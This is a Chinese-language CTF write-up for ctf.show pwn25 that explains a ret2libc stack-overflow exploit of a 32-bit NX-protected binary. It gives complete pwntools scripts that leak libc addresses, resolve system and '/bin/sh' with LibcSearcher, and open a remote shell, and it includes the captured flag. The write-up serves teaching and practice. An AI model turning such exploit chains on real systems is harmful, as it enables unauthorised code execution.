思路题目链接 https://ctf.show/challenges#pwn25 本程序的保护机制开启了NX(No-eXecute) 保护这意味着栈上的数据不具备可执行权限传统的直接注入 Shellcode 方法失效。为了绕过 NX 保护我们可以利用程序自带的函数库动态链接库进行Ret2libc攻击。核心逻辑为先通过 IDA 静态分析找到栈溢出漏洞点再通过 ROP 链泄露某一已解析函数的真实内存地址。利用LibcSearcher检索 libc 库中相应的偏移量推算出system函数和/bin/sh字符串的绝对地址最终构造 Payload 劫持控制流拿到 Shell。个人博客链接CTF笔记-绕过 NX 保护的 Ret2libc 漏洞利用Pwn25 | Colin 观感更佳解题过程一、 静态分析与漏洞定位、首先利用checksec检查程序发现32位开启NX保护部分开启RELRO保护。在进行动态调试前首先使用 IDA Pro (32-bit) 载入附件程序进行静态分析。通过伪代码可以发现程序在读取用户输入时使用了未限制长度的危险函数read 读取的长度远大于分配给buf缓冲区的空间这就构成了典型的栈缓冲区溢出漏洞。进一步观察 IDA 提取的栈帧结构如图 3buf 变量距离 __saved_registers (ebp) 为 136 字节再加上 ebp 本身的 4 字节。由此我们可以静态推断出覆盖到返回地址的精准偏移量应为 136 4 140 字节。 接下来我们将通过动态调试来验证这一点。二、利用 GDB 和 Cyclic 获取偏移值终端输入gdb ./pwn新开一个终端输入cyclic 200 pattern切回刚才的 gdb 终端执行run pattern当程序报 Segmentation fault段错误时说明在尝试执行不存在或被保护的地址。我们来捕获崩溃时的 EIPinfo register eip得到eip 0x6261616b输入q退出 GDB回普通终端访问 cyclic 工具cyclic -l 0x6261616b得到偏移量。三、编写地址泄露EXPfrom pwn import * # 配置底层环境 # archi386声明目标是 32 位机器这会让 p32() 和 u32() 函数生效 # oslinux声明目标操作系统 # log_leveldebug开启上帝视角终端会实时打印收发的所有底层字节流 context(archi386, oslinux, log_leveldebug) # 建立网络连接也就是接靶机的端口后续用变量 p 来与它对话 p remote(pwn.challenge.ctf.show, 28303) # 加载本地的 ELF 文件也就是靶机程序当作“静态地图” elf ELF(./1) # 从“地图”中查阅我们要用到的 3 个关键坐标 puts_plt elf.plt[puts] # 1. 用来执行打印动作的 puts 函数入口 read_got elf.got[read] # 2. 存着read函数真实内存坐标的地址 main_addr elf.sym[main] # 3. main 函数开头让程序回这里续命 # 测算好的栈溢出距离用来填满缓冲区直达 EIP (指令寄存器) offset 140 # Payload 构造 (32位 cdecl 调用约定函数 返回地址 参数) payload1 bA * offset # 填入 140 个垃圾字节顶到EIP前 payload1 p32(puts_plt) # 劫持 EIP强行跳去执行 puts 函数 payload1 p32(main_addr) # 伪造返回地址 payload1 p32(read_got) # 给 puts 的参数打印read_got 里的内容 # 把 Payload 发送过去并在末尾自动敲个回车 p.sendline(payload1) # 拆解这句代码 # 1. p.recvuntil(b\xf7)死等。因为 32 位 Linux 的真实内存地址通常以 f7 开头。等到 f7 出现说明地址吐出来了。 # 2. [-4:]切片操作。从刚才接收到的一大堆数据中精准切下最后 4 个字节也就是地址本体。 # 3. .ljust(4, b\x00)安全气囊。如果 puts 打印到一半遇到了 \x00 提前截断导致不足 4 个字节就在右边用 \x00 强行补齐到 4 个字节防止后面的解包报错。 # 4. u32(...)将补齐后的 4 个字节机器码反向翻译成 Python 里的十六进制整数。 read_real_addr u32(p.recvuntil(b\xf7)[-4:].ljust(4, b\x00)) # 在终端把抓到的真实地址打印出来 print(f[*] Leak read addr: {hex(read_real_addr)}) # 将控制权交还给键盘虽然通常在泄露阶段结束后我们不会立刻进交互但加这一句可以用来观察程序是否停在了 main 等待输入 p.interactive()四、 完整攻击 EXP标准三段式from pwn import * from LibcSearcher import * # contextpwntools 的环境配置工具 # archi386 声明目标是 32 位机器自动把数字转换成 32 位格式 # oslinux 声明目标系统是 Linux # log_leveldebug - 开启调试模式屏幕实时打印收发的每一滴十六进制数据 context(archi386, oslinux, log_leveldebug) # remote打通一根网线连到远程服务器端口命名为变量 p p remote(pwn.challenge.ctf.show, 28303) # ELF自动解析本地的二进制文件找出里面的关键坐标 elf ELF(./pwn) # 阶段一 泄露坐标 # 去文件查main 函数的入口以及 write 函数的 plt 和 got 地址 main_addr elf.sym[main] write_plt elf.plt[write] write_got elf.got[write] # 提前算好的栈溢出偏移量需要 140 字节垃圾数据才能顶到 EIP offset 140 # bA 代表原始字节码在内存底层是 0x41。重复 140 次。 payload1 bA * offset # p32() 的作用把人类的数字自动转换成 32 位机器直接吃的“小端序”机器码 payload1 p32(write_plt) # 1. 劫持指令跳入 write 函数 payload1 p32(main_addr) # 2. 伪造返回地址执行完 write 回 main 续命 payload1 p32(1) # 3. 参数 1 (fd)往哪写1 代表屏幕 payload1 p32(write_got) # 4. 参数 2 (buf)写什么打印 write 的真实地址 payload1 p32(4) # 5. 参数 3 (len)写多少只写 4 个字节 # 顺着网线 p 发送 Payload 1并在末尾自动敲一个回车 (\n) p.sendline(payload1) # u32() 的作用把靶机传回来的 4 字节颠倒的机器码解包还原成 Python 十六进制数字 leak_write u32(p.recv(4)) # 阶段二计算真实地址 # 喂给 LibcSearcher 实例化对象去全网数据库对暗号 libc_obj LibcSearcher(write, leak_write) # .dump() 功能从数据库里调出该函数在当前版本 Libc 库中的内部相对偏移量 # 核心公式 1 (算基址)Libc基址 真实绝对地址 - 相对偏移量 libc_base leak_write - libc_obj.dump(write) # 核心公式2 (算目标)目标绝对地址 Libc基址 目标的相对偏移量 system_addr libc_base libc_obj.dump(system) bin_sh_addr libc_base libc_obj.dump(str_bin_sh) # 阶段三致命一击 (Payload 2) # 此时程序已经回到了 main 开头再次填入 140 字节的垃圾数据夺权 payload2 bA * offset # 按 32 位 cdecl 底层规矩追加致命载荷 payload2 p32(system_addr) # 1. 劫持指令跳去 system payload2 p32(0) # 2. 核心占坑塞入 4 字节 0 伪造返回地址32位必带 payload2 p32(bin_sh_addr) # 3. 传入参数/bin/sh 所在的内存地址 p.sendline(payload2) # interactive()把网线 p 的控制权交还给你的键盘准备手敲 cat flag p.interactive()五、 确定系统版本号LibcSearcher 盲盒排雷发送完最终 exp 后若如图弹出多个版本的选项可以利用静态分析来辅助选择strings ./pwn | grep Ubuntu查询得到GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0我们知道 Ubuntu 版本号与 GLIBC 对应关系为Ubuntu 16.04 - GLIBC 2.23Ubuntu 18.04 - GLIBC 2.27Ubuntu 20.04 - GLIBC 2.31现在我们带着这个决定性线索再来审视那十个选项排除 0~32.19 版本这是古老的 Ubuntu 14.04。排除 4根本不是 Ubuntu 系统的库。排除 6、92.17 版本太老了。剩下三个版本的唯一区别是尾部的微小补丁号基础版、.3 补丁版、.4 补丁版。最后输入 5 即可得到 shell 提取 flag。⚠️ 踩坑提醒当出现多选弹窗时服务器的超时断开倒计时Timeout仍在走。一定要迅速输入 5 并回车如果手速慢了或者 5 号小版本不对可能导致程序崩溃报错EOFErrorctfshow{b513b07d-d063-400c-8429-64451fa11b8b}